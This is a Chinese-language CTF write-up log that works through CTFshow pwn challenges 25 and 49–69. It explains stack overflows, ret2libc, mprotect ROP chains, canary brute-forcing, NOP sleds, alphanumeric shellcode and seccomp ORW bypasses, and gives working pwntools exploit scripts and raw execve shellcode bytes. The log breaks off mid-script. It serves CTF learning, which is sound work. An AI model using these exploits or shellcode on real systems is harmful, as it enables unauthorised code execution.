CTFshow-Pwn-10月记录

pwn25

后边栈溢出学的差不多了,我们来回顾一下把这题ret2libc做了

保护:

跟题目说的一样,只开了个NX保护,而且是动态,可用ret2libc

而且在主函数的ctfshow函数可以找到栈溢出的点

padding=0x88+4

这边用了一堆的puts函数,直接puts泄露偏移地址了

main = elf.symbols[“main”]

puts_plt = elf.plt[“puts”]

puts_got = elf.got[“puts”]

payload1=b’a’*padding+p32(puts_plt)+p32(main)+p32(puts_got)

这边还是一模一样的做法,我们直接将puts_got的值作为参数让puts输出出来

puts = u32(io.recvuntil(“\xf7”)[-4:])

于是在截断后我们就可以利用libcsearcher库直接找到libc库了

然后搞到基地址之后system和/bin/sh就都有了

来写代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28246)
elf=ELF("./pwn25")

main=elf.symbols["main"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
padding=0x88+4

payload1=b"a"*padding+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
puts=u32(io.recvuntil("\xf7")[-4:])

libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
bin_sh=libc_base+libc.dump("str_bin_sh")

payload2=b"a"*padding+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload2)

io.interactive()

OK这种标准的puts泄露的ret2libc没问题了

ctfshow{46745696-6f63-4d80-ab0e-f4c383b64575}

pwn49

先去了解所谓的mprotect()函数

1
2
3
#include <unistd.h>   
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

得知其主要是可以用来修改一段指定内存区域的保护属性。

第三个参数的prot权限还是经典的4+2+1,即rwx

所以应该蛮好理解的,就是三个参数分别对应开头地址、长度、修改的保护属性数字(0-7)

主要是一个拿来改保护属性的函数

成功时返回 0;失败时返回 -1,并设置 errno来指示错误原因

保护:

32位,开了NX和栈金丝雀保护

静态的,不能用libc了

简单来说就是不能简单地进行栈溢出了,因为存在有检测环节,除非绕过,否则栈溢出无效

这边检测出来有栈金丝雀纯是checksec问题,其实没有的()

溢出点:

padding=0x12+4

题目无system,无/bin/sh,不能用libc

又知道这一题让我们用mprotect,既然能构造栈溢出了,那么mprotect可以给我们可写可读可执行的(7)能力,我们就能直接打shellcode了

先搜一下这个函数

没什么问题mprotect_addr=0x0806CDD0

然后找一下mprotect的三个参数,首先是要写到哪边

ctrl+s调出程序的段表

选择.got.plt作为更改的程序

因为这个.got.plt在程序加载时的地址是固定的(静态链接时确定)。攻击者可以提前知道目标函数(如 printf)的 GOT 条目在内存中的确切位置,这比在堆栈上寻找动态变化的地址要容易得多。

同时我们劫持 .got.plt后,不需要复杂的操作来触发执行流转向。你只需要等待程序正常地调用被你覆盖的那个库函数,劫持就会自动发生。

所以这个会作为mprotect的第一个参数地址,got_plt=0x080DA000

然后长度我们写个0x1000,保证能写即可

最后保护属性当然是0x7了

这边注意我们要传三个参数,必须用一下pop寄存器,否则执行完这个函数会直接回到栈顶,无法读取三个参数

有了这个,我们就能平稳地接受这仨参数,然后执行mprotect的函数任务

所以这三个很关键,我们在传参前要先返回这个的头地址,即0x08061C3B,辅助我们填参

之后修改完权限我们当然要直接去读写执行那个改完的东西了

我们选一个read函数

read函数也是三个参数,所以需要再次调用pop那仨

read的三个参数分别代表着fd、buf、size

read地址:0x0806BEE0

pop地址:0x08056194

fd直接0读取就行

buf得是刚刚写的地方0x80DA000

size就是大小,无所谓随便填大点就是了

于是我们可以构造payload:

首先栈溢出、然后跳到mprotect的位置,接下来返回pop三个寄存器,然后把三个参数填入,成功修改0x80DA000地址的保护属性,可以写了

然后我们去读取一下这个地方的内容,直接read,pop然后三个参数fd、buf,size,最后返回buf的地方

现在程序会读这个地了,我们就需要构造shellcode传进去了

这反而是最简单的一步了,我们只需要直接shellcode=asm(shellcraft.sh())就完事了

好我们去写一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
io=remote("pwn.challenge.ctf.show",28121)

padding=0x12+4
mprotect_addr=0x0806CDD0
pop_3=0x008061C3B
got_plt=0x080DA000
size=0x1000
prot=0x7

read_addr=0x0806BEE0
fd=0

shellcode=asm(shellcraft.sh())

payload =b"a"*padding+p32(mprotect_addr)+p32(pop_3)+p32(got_plt)+p32(size)+p32(prot)
payload+=p32(read_addr)+p32(pop_3)+p32(fd)+p32(got_plt)+p32(size)+p32(got_plt)

io.sendline(payload)
io.sendline(shellcode)

io.interactive()

得到flag:ctfshow{91e14279-f90a-4528-b727-a5c8387dfe3c}

pwn50

好像哪里不一样了

保护:

保护没啥可看的,还是差不多不让写shellcode而已

哦?有点不一样似乎是在指这个,因为变成了动调,可以用libc库了

简洁的main函数

溢出点变成了ctfshow函数中的gets函数

padding = 0x20+8

无system,无/bin/sh,能libc,那我为什么不直接libc?这不是和pwn46一模一样的题目吗?我们改改信息地址即可

ROPgadget –binary “pwn50” –only “pop|ret”

rdi=0x004007e3

ret=0x004004fe

这边问题主要是libcsearcher找不到这个libc库

太麻烦了libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)

这边其实主要肯定不是让我们直接逃课ret2libc,估计是想让我们去libc调mprotect,但是我搞不到这个libc库,麻烦死了

这边的知识点主要是在ROPgadget找不到单独的rdi和rsi的pop时,如何从libc中获取

(这题我就是出不来,不管是不是本地开libc,甚至直接copy别人的wp也出不来,跳了)

我发现在ctfshow的虚拟机能做,可能是libcsearcher的原因吧

这边甚至可以选10种库

因为是64位的我们选1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
elf = ELF('./pwn50')
p = remote('pwn.challenge.ctf.show',28306)

putsplt = elf.plt['puts']
putsgot = elf.got['puts']
main_addr = elf.sym['main']
rdi_addr = 0x4007e3
ret_addr = 0x4004fe
payload1 = b'b' * 40 + p64(rdi_addr) + p64(putsgot) + p64(putsplt) + p64(main_addr)

p.sendlineafter(b'Hello CTFshow\n',payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
binsh_addr = base + libc.dump('str_bin_sh')

payload2 = b'a' * 40 + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)

p.interactive()

弥补空缺

pwn51

保护:

这边只开了NX,是个动态的32位程序

main函数太复杂了,我们先nc尝试一下

这边可以发现变的奇怪了,只要输入I就会自己先补齐后边的ronman

所以虽然只允许我们输入20个,我们却能1变7

就能把这个0x6C+4挤满

所以只要输入16个I就满了

到这就好

system=0x0804902E

1
2
3
4
5
6
7
8
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28166)
system=0x0804902E
payload=b"I"*16+p32(system)

io.sendline(payload)
io.interactive()

ctfshow{4e359fed-acca-4424-a7f1-811f600a4200}

pwn52

保护:

就开了NX,没什么保护,32位(亲切)

动态的

我们放ida看看

gets函数溢出

padding=0x6C+4

然后看到有个flag函数

一定要a1==876且a2==877才显示内容

所以我们就要调用这个函数的时候传俩参数过去呗

flag_addr=0x08048586

写代码

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28266)

padding=0x6C+4
flag_addr=0x08048586

payload=b"a"*padding+p32(flag_addr)+p32(0)+p32(876)+p32(877)
io.sendline(payload)
io.interactive()

得到flag

ctfshow{afe530fc-175e-41f9-9f42-8ac67e3510d0}

pwn53

保护:

32位,保护就开了个NX,动态

但是在本地我们可以看到有栈金丝雀函数

这边是模拟的栈金丝雀效果,但是这个是静态的,相对好不少,虽然一样要爆破

溢出点明显在这边

后门函数也很好找,就在flag函数

所以我们第一步就是暴力破解canary

我们这边程序会读取s1的内容与全局变量global_canary的值进行对比,如果不相等就代表栈被破坏,直接gg,所以需要爆破这四个字节,爆出来之后,再通过read函数的漏洞栈溢出返回flag函数地址

为了破解Canary,因为他一般是4字节,所以我们要逐字节去破解

先初始化,后边大循环4次

内部就一个个试,一个个试过来到底谁是真正的Canary值,主要是因为这边是静态的

一个字节占 8 位最大为 0xff,十进制就是255,所以遍历0-255也就是range(256)

每次都连接,直到成功得到所谓的Canary值,直到我们得到它才停

这边第一个填的数字会影响到我后边能往buf里塞多少东西,所以不能填小了,填个200大一点。当然也可以写-1,直接整数溢出变成0xFFFFFFF了

填完200之后就可以开始爆破,一直到得到正确的值

1
2
3
4
5
6
7
8
9
10
11
12
13
canary = b''
for i in range(4):
for guess in range(256):
io = remote("pwn.challenge.ctf.show",28178)
io.sendlineafter('>','200')
payload = cyclic(0x30 - 0x10) + canary + p8(guess)
io.sendafter('$ ',payload)
answer = str(io.recv())
if "Canary Value Incorrect!" not in answer:
canary += p8(guess)
break
else:
io.close()

得到了就好做了,这边难点就是爆破掉这个静态的Canary,这边可以看到buf到s1的偏移值为0x20,所以0x20就溢出了,下边的数据会到s1去

s1是canary是参数,所以我们先搞0x20溢出,然后后边紧跟爆出来的canary就可以避开检测了

0x10这边canary差不多4个,然后我还要避开之后继续溢出,就是0x10+4-4

所以这边填完爆出来的canary就应该再填个0x10个数据

然后跟上flag函数

elf = ELF(‘./pwn53’)

flag = elf.sym[‘flag’]

OK我们来写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p = remote("pwn.challenge.ctf.show",28299)

canary = b''
for i in range(4):
for guess in range(256):
p = remote("pwn.challenge.ctf.show",28299)
p.sendlineafter('>','200')
payload = cyclic(0x30 - 0x10) + canary + p8(guess)
p.sendafter('$ ',payload)
answer = str(p.recv())
if "Canary Value Incorrect!" not in answer:
canary += p8(guess)
break
else:
p.close()
p = remote('pwn.challenge.ctf.show',28299)
elf = ELF('./pwn53')
flag = elf.sym['flag']
payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)
p.sendlineafter('>','-1')
p.sendafter('$ ',payload)
p.interactive()

ctfshow{d63a0605-5f68-40ab-b304-399fef5c3469}

pwn54

保护:

看看主函数:

flag函数就在下边,我们只要让strcmp(s1,s)为0即可

这边s1是填进去的,s是自带的

溢出点在于

这个v5可以写无数位

而后边的puts函数又会输出v5

puts函数会一直输出直到遇到换行符或者空白,所以只要password前面全部都塞满了垃圾,把换行符和空白全部填满垃圾,puts函数就能一直输出

而v5后边就是是,所以会一起把后边s里的password输出出来

我直接传0x160个a,就直接会把密码给puts出来

看见把密码直接吐出来了,那我们再来一遍把这个填进去就好啦

ctfshow{ae5e8247-9132-474f-a404-136b2520ed8e}

pwn55

保护:

这边可以看到是32位的,只开了NX保护

可以看到ctfshow函数里存在栈溢出漏洞0x2C+4

那我肯定是定位到flag函数的

这边可以看到会把flag内容填到s里

读取有条件,那就是flag1 && flag2 && a1 == 0xBDBDBDBD

flag1和flag2的值在这边

flag1只要调用函数就直接是1了,flag2则需要我们先调用flag1的函数,后边再以0xACACACAC作为参数调用一次flag2的函数

这两步做完之后调用参数为0xBDBDBDBD的flag函数即可

很简单,三个函数传两个参数即可

写代码:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28194)
flag1=0x08048586
flag2=0x0804859D
flag=0x8048606
padding=0x2C+4
payload=b"a"*padding+p32(flag1)+p32(flag2)+p32(flag)+p32(0xACACACAC)+p32(0xBDBDBDBD)
io.sendline(payload)
io.interactive()

ctfshow{a160b4f4-f733-4bf2-b2aa-288c6ee77c65}

pwn56

shellcode?

保护:

静态还是32位还没有NX,这不是爽飞了

这题纯是展示题,给你展示一下32位的shellcode长啥样

先把h、//sh、/bin先后逐一压入栈,以保证之后调用顺序会是/bin//sh,然后还避免了引入空字节

然后把这个指针的值给赋给EBX寄存器,保证接下来会是第一个参数指向文件路径,后边把11,也就是execve的系统调用号给压入栈

接下来调用的时候就提权了

具体没什么好说的,就是展示题而已

ctfshow{010baf1d-dcfa-4c19-948a-0c62b0e6b715}

pwn57

也是个展示题

64位会麻烦很多,很多很多

上来先把RAX的值压入栈,也不知道是多少,先利用栈操作调整RSP

然后我们清空rdx和rsi

后边字节一起把”/bin//sh”的小端序ASCII值传给rbx,两个斜杠方便64位系统处理

在后边就把这个rbx给压入栈,然后再将栈指针rsp也压进去

然后现在的栈指针就会指向这个rbx

现在把栈顶的值弹出给rdi,那rdi就会是/bin//sh了

后边我们只需要把这个execve的系统调用号0x3B给移动到al,即rax的低八位

然后我们执行系统调用的时候就会执行一个参数为/bin//sh的execve函数

即成功启动一个shell

至于flag获取跟上题一样,直接cat就是了

ctfshow{85cdc998-5ceb-4129-a991-c1aa086b0aa2}

pwn58

保护:

跟题目说的一样,是32位无限制的

无RX,所以我们可以直接构造shellcode,会方便很多

main函数不能反编译,那我们只能看汇编语言了

main函数这边会call去ctfshow函数

这个ctfshow函数好啊,自带gets函数,还会return出来,我们直接在这边构造shellcode填进去

好像现在的shellcode都是直接shellcraft的,也没试过直接写汇编

1
2
3
4
5
6
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28249)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

直接就可以cat到了

ctfshow{740043b5-e5fc-4935-a2c0-66f6b05788d5}

pwn59

没什么区别,依旧保护全关

这边直接看main函数吧

main函数这边还是会调用ctfshow这个函数

那我们还是在这个地方写shellcode,一模一样

1
2
3
4
5
6
from pwn import *
context.log_level="debug"
io=remote("pwn.challenge.ctf.show",28288)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

欸失败了

其实是这个地方没说明要构造64位的shellcode,什么都不写默认构造32位的

所以代码应该如下:

1
2
3
4
5
6
7
from pwn import *
context.log_level="debug"
context.arch='amd64'
io=remote("pwn.challenge.ctf.show",28288)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

这边可以得到flag

ctfshow{2830b7cb-4e16-4be2-b01b-17ac242d90e9}

pwn60

入门难度的shellcode

这边还是先看保护:

这边依旧全无,只要开RX基本上就和shellcode无关了

会把s的内容复制到buf2里边去,但是不清楚哪里会执行,我们动调vmmap看看

这边可以看到在0x8048000到0x8049000这边才有可执行权限

这特么是啥,为什么老版本显示有权限,新版本显示没权限,这啥道理

好像是这样子

我去,用ctfshow自带的还真出现了,那我们以后做ctfshow都用这个虚拟机了

然后继续看看

所以我们这边可以做到讲漏洞程序shellcode写在这个地方,这个地方也是可执行的,但是到让他执行还有一步,就是精准投到执行的部分,也就是让他填到返回地址上去。

如果不填到返回地址CPU会弹回 main 函数。但如果返回地址被覆盖为shellcode的地址(buf_addr),CPU就会跳转到buf_addr处,并将那里的数据当作指令来执行。此时,shellcode就从数据变成了被执行的代码。

大概明白意思之后,我们就明确了目标:

“找到偏移量,找到s到ret的长度”

这边可以直接往多了输入,然后看在哪里崩溃

cyclic 200

发现没跑完就停了

就跑到这边,那我们直接

r < <(echo ‘aaaabaaacaaadaaae…’)

崩溃完看看停哪了,查看 EIP(32位系统)或 RIP(64位系统)寄存器的值

info registers eip

其实也不用输命令看,这不直接看见了吗

然后cyclic -l 0x62616164

数一下,偏移量就是112

所以我们写的命令一开始是shellcode,但是不知道shellcode多长,所以后边补齐112

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(112, b”a”) + p32(buf_addr)

所以我们代码的核心部分payload是需要shellcode,ljust()补齐的

好现在我们可以直接写payload了

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level ="debug"
context.arch = "i386"
io=remote("pwn.challenge.ctf.show",28150)
buf_addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b"a")+p32(buf_addr)
io.sendline(payload)
io.interactive()

ctfshow{3e5013bd-bd3a-4a82-ad25-a2326a24770a}

pwn61

保护:

带pie了老铁,地址随机化,但是没开NX,可以直接执行

这边溢出很好找,就是gets函数的v5有溢出而已

虽然有PIE随机地址,但printf会打印出v5的指针,也就是我们溢出部分的指针

可以看到每一次输出的是不一样的,我们不能直接拿,需要去截取

r.recvuntil(‘[‘)

addr=r.recvuntil(‘]’,drop=True)#这意味着不截取最后的”]“

那我们一开始想的肯定是直接先栈溢出,然后去这个v5的地方,再填入我们的shellcode

payload直接这样子大功告成

但是发现不行,原因在于shellcode太长,v5装不下

此外这边调用完gets函数之后啊,main函数下边有个leave

所以这个leave函数会直接释放栈空间

我们不能在leave前写,不然全释放完了,我们必须在leave之后写

v5长度:0x10 + 8(保存的rbp)+ 8(返回地址)

所以我们的payload需要先溢出,然后去v5地址,要写在v5长度0x10+8之后,再往后8位的位置,我们写到返回地址之后,这边就没有人截断我们的shellcode了

主要是由于我们这边没有NX保护才能这样子干

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28225)

io.recvuntil("[")
addr=io.recvuntil("]",drop=True)
addr=int(addr,16)
padding=0x10+8
shellcode=asm(shellcraft.sh())
payload=b"a"*padding+p64(addr+padding+8)+shellcode
io.sendline(payload)
io.interactive()

这边一定注意addr=int(addr,16)这一步,截断之后要记得转化类型,eval也可以,或许更好一点(eval的话直接addr=eval(addr)即可)

ctfshow{1788a3fa-70ba-45c3-b2a3-2fcbb38ce75f}

pwn62

保护:

保护跟上一题一样,但是PIE,然后没NX,依旧shellcode

主函数看起来都差不多,一定要说的话可能只是跟刚刚比gets换成了read

依旧溢出是 0x10+8

main函数后的leave还在,所以我们还是得等ret之后再写

但是不能按刚刚的算法做了

因为这边read只允许我们输入0x38个

我们这边已经溢出花了0x18个,然后返回地址加上直接花了0x20个了

所以我们只有0x18个可以用,也就是24字节内的shellcode

:::info
32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

:::

:::info
64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

:::

正好有,写进去

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28208)

io.recvuntil("[")
addr=io.recvuntil("]",drop=True)
addr=eval(addr)
padding=0x10+8
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload=b"a"*padding+p64(addr+padding+8)+shellcode
io.sendline(payload)
io.interactive()

ctfshow{483688cd-38f3-4c96-b296-9e21a1fd86f3}

pwn63

保护:

这边可以看到依旧是一模一样

跟我想的一样,38变成了37

因为我网上搜到的64位最小都是23位,再小就没得小了

所以这边蛮合理的,那我们刚刚就是这样子啊,完全没区别

还是一样做就行,代码一模一样

因为代码完全一样,所以就不贴了

ctfshow{0b6f6c3a-0709-4945-836f-0019bbffd709}

pwn64

保护:

这边可以看到开了NX,但是根据题目的意思似乎是还是要用shellcode的意思。32位

原来是用了mmap函数

给我们开辟了一块可读可写可执行的区域,buf是这块内存的起始地址

而且我们写的东西是直接进buf存着的啊

所以我们直接写shellcode就好啦

1
2
3
4
5
6
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28133)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

ctfshow{5871c9cf-9f03-4f0d-adea-b241dce7d79b}

pwn65

保护:

给我发个好人卡然后.got和.got.plt全部不可写,这。。

还不让反编译

那我们只能直接看汇编语言了

在我们input之后会有一个write和一个read

还有检测环节,我们input进去的必须是在(0x60,0x7A]|(0x40,0x5A]|(0x2F,0x5A])

对应着ASCII码,我们输入的只能是小写字母a-z+大写字母A-Z+数字0-9

所以我们这边需要改造我们的shellcode

想做到这一步需要用alpha3这个工具

第一步生成shellcode:sc

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

有了sc之后我们将其转化为字符串形式

1
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

需要放到alpha3的文件夹里

得到字符串形式的shellcode

1
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

然后我们将这个shellcode写入代码

注意这边不能用sendline,我们必须使用send

避免sendline会最后输出的\n

1
2
3
4
5
6
7
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28196)

payload=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(payload)
io.interactive()

ctfshow{a6af34ee-2497-43a0-9254-41bf40cd31f8}

pwn66

保护:

让我们用shellcode结果开了NX吗(?),我猜测可能有mmap这种函数提权

我们先看看main函数

果然存在mmap,还是7:rwx状态

主要是多了一个check部分,这个部分不满足就会回显ERROR然后直接exit了

其实就是验证说最后的payload里的字符是不是都在这个unk_400F20里,都在就过,没有就不许过

大概是这个内容,但是这里边连b都没有啊?

我们可以不能直接用,估计得避开这个绕过了

观察到这边的read函数虽然会读0x200个内容

但是内部的check循环是while写的

while只要碰到\x00就停掉了

所以我们只要构造个上来就是\x00的,然后后边加上shellcode就行了,避开了check函数

但是不能只写\x00,必须是合法的汇编语言

我们写\x00B\x00即可

1
2
3
4
5
6
7
8
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28298)
front=b"\x00B\x00"
shellcode=asm(shellcraft.sh())
payload=front+shellcode
io.sendline(payload)
io.interactive()

ctfshow{e5aa8a12-ee38-4a36-8f25-7ead69b7d665}

pwn67

保护:

开了栈金丝雀,没开NX

32位。。nop雪橇?

没看懂

噢就是搞了一个完全不干事的滑梯,用\x90填满,然后只要落到这个里边就直接飞到shellcode,明白了

这边可以观察到需要我们输入两次,一个放到seed里了,一个直接就要我们输入地址放到v5中,甚至还会执行v5(),也就是从这个地址开始执行。

最后还输出了函数query_position地址

过去看看

这是个什么样子的函数呢,返回的是v1的地址加上一个(-668,668)的一个v2

因为我知道这个position的地址,这个地址是由&v1+v2得到的,我也知道v2的大概区间,所以我可以算出来&v1肯定在一已知的区间里

又因为v1是在query_position函数ebp-0x15的位置

由于我也能知道&seed相对于&v1的固定偏移

所以&seed也会在一个区间里

只要我们把大量NOP放在shellcode前,就能有效扩大落脚点,落到那一片就能执行shellcode了

我们要把整个v2都给NOP了,所以NOP写个1336

我只要我的落点在(v1,v1+1336),就能有效确保它落在了nop sled上,于是直接滑雪橇过去了

于是第一个payload就是构造这个滑道,前边会铺满\x90的雪花,然后铺1336个之后迎接我们的shellcode

payload=b’\x90’*1336+asm(shellcraft.sh())

确定了第一个payload之后我们就要确定第二个payload写啥了

第二个是我们执行的位置,也就是这个(v1,v1+1336)

栈首先是将调用main函数的函数的ebp压到栈顶,然后push了一个ebx和一个ecx,接着由将esp减少了0x1010,此时栈顶为ebp-0x4-0x4-0x1010,32位一个存储单元4字节。然后呢,又有了esp减去了8,push了一个eax和0,这时栈顶位ebp-0x4-0x4-0x1010-0x8-0x4-0x4。之后呢运行过setbuf函数,esp又增加了0x10,此时esp为ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010。再然后esp又减去了0xc,并且又push了一个eax,那么此时栈顶为ebp-0x4-0x4-0x1010-0xc-0x4。执行完srand函数之后esp又增加了0x10,那么此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010。之后调用完Louding函数和acquire_satellites函数就是query_position函数了。从IDA反编译结果在query_position函数中就可以看到局部变量相对query_position函数ebp的位置了。

从栈我们可以看出来v1距离seed的位置是0x15+0x4+0x4+0x10=0x2d

根据刚刚的结论position=&v1+v2=&v1+random-668(random∈(0,1336))

所以&v1=position+668-random,&seed=&v1+0x2d=position+0x2d+668-random

我们刚刚的nop大军和shellcode是写在seed里边的

那我们就可以将position+0x2d+668输进v5,因为position+0x2d+668=&seed+random,由于我们seed大小是0x1000=4096,而random是0~1336,所以可以放心加

所以第二个payload发的是position + 0x2d + 668,这个position直接截取就是了

明白了之后直接写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28208)

io.recvuntil("location: ")
addr = eval(io.recvuntil("\n",drop=True))
shellcode=asm(shellcraft.sh())
payload1=b"\x90"*1336+shellcode
io.recvuntil("?\n> ")
io.sendline(payload1)

shell=addr+0x2D+668
payload2=hex(shell)
io.sendline(payload2)
io.interactive()

ctfshow{cf023956-7f21-45ff-8529-ef32bfb1808f}

pwn68

保护:

一样的啊,就是上一题的64位,这个没有任何区别,只需要改一下context.arch而已,说明我们的shellcode构造方式,别的没啥不一样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28141)

io.recvuntil("location: ")
addr = eval(io.recvuntil("\n",drop=True))
shellcode=asm(shellcraft.sh())
payload1=b"\x90"*1336+shellcode
io.recvuntil("?\n> ")
io.sendline(payload1)

shell=addr+0x2D+668
payload2=hex(shell)
io.sendline(payload2)
io.interactive()

ctfshow{ad024c12-ec46-454b-8424-7c01cfc9c416}

pwn69

保护:

欸?什么保护都没有吗

main函数里存在这样子一个栈溢出,而且很好溢出,大概给我们留了0x18的位置

但。。什么是ORW?

先看看什么叫ORW吧

ORW是什么

ORW就是open、read和write的缩写啊

一般是加了个沙箱

禁用了一些内容,使我们没那么容易得到flag

在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数

主要是两种函数,即prtcl()函数和seccomp()函数的调用

可以看到prctl()函数主要就看第一个参数options

然后seccomp()函数初始化,第二个参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式

第一个参数是初始化返回值,第三个参数是对应的系统调用号,0–>read/1–>write/2–>open/60–>exit

第四个参数是限制的个数,0就不限制

大概就是这样子,然后靠这俩函数最后搞出个ORW

一般用mmap直接给权限?总之这一题算是被说中了,就是溢出大小太小了

本题是seccomp的类型

我们可以先利用seccomp-tools dump ./pwn69看看每个区的权限

还要先提权

我们来看看这个seccomp的内容

首先是说这边检测到了这个系统的arch是X86_64架构的,也就是 64位 x86 架构 ,没问题

由于这边架构正确,所以开始往下走

A = sys_number把A的内容寄存为系统调用号

接着if (A < 0x40000000) goto 0005检查是不是属于某个范围的规则。具体来说,0x40000000 表示系统调用号的上限,如果小于这个值,程序将跳转到第 0005 行。

注意这边第四行是: 如果系统调用号不是 0xffffffff,则跳到第 0010 行(返回 KILL)

所以我们第0003步就应该小于这个值,然后飞过危险的0004行

而后边几行全部都是看系统调用号是不是rwo,如果是就跳到第0009行

0009行是好的,会return allow

剩下的都是被过滤的

总而言之这个seccomp-tools确实是蛮好用的

大概了解这种ORW的题型之后,我们来看看怎么做题吧

这边果然有一个mmap函数,给的是6的权限,也就是wx,可写可执行,在0x123000的位置长0x1000

后边三个函数,一一看看

第一个就是沙箱函数,进去就是四条规则

所以我们只能用read,write和open这三条命令来得到flag

第二个函数是setbuf函数

把标准输入、输出、错误的缓冲统统关了,避免数据滞留在缓冲区

最后就是这个小小的栈溢出点

这边太小了,想要大的我们肯定要转战去mmap定义的那块地儿去

我们先在需要干的其实就是首先把最后的shellcode塞在mmap那边,然后跳到mmap那边去

先看看最后的shellcode怎么设立

1
2
3
shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))

shellcode由于只能用这个orw的,所以大概就是这样子三步了,先开,然后读,读完写出来

后边我们的问题就是怎么过去,怎么跳到mmap那边去

将栈的内容传输到一个可执行的内存区域

我们一般用的就是栈枢轴

通过将栈指针rsp调整到其他的可执行区域来让栈指向那边

所以我们的栈溢出就是用来干这个事情的

我们先填shellcode,把shellcode放进去先,然后填满缓冲区,然后可以操控返回地址了

接着控制修改返回地址为jmp_rsp,执行的时候会跳转到rsp指向的地方

我们最后只要让rsp指向一开始,注意这边我需要多回溯8个,因为要覆盖掉返回地址

我们直接把rsp-0x30,回溯30个,也就是0x28+8,那直接回归我们一开始放shellcode的地方了

我们回溯了0x30位置的rsp后,跳到rsp就行了,然后就重头开始干一遍了,发现头这边有个shellcode,然后就执行去了

这个shellcode里边我们放的是跳到mmap地址的东西,读也读过去

所以明确任务了,我们这边需要先把asm(shellcraft.read(0, mmap_ar, 0x100)) + asm(“mov rax, 0x123000; jmp rax”))放进去,然后用a填满缓冲区,接着写返回地址为rsp,最后来调整栈指针,使其回溯0x30个,执行第一个shellcode去

最后就是一些细枝末节的东西了,比如jmp_rsp是多少

直接ROPgadget –binary “pwn69” –only “jmp|rsp”即可

所以最后是0x0400a01

好我们开始写代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28283)

mmap=0x123000
jmp_rsp=0x400a01
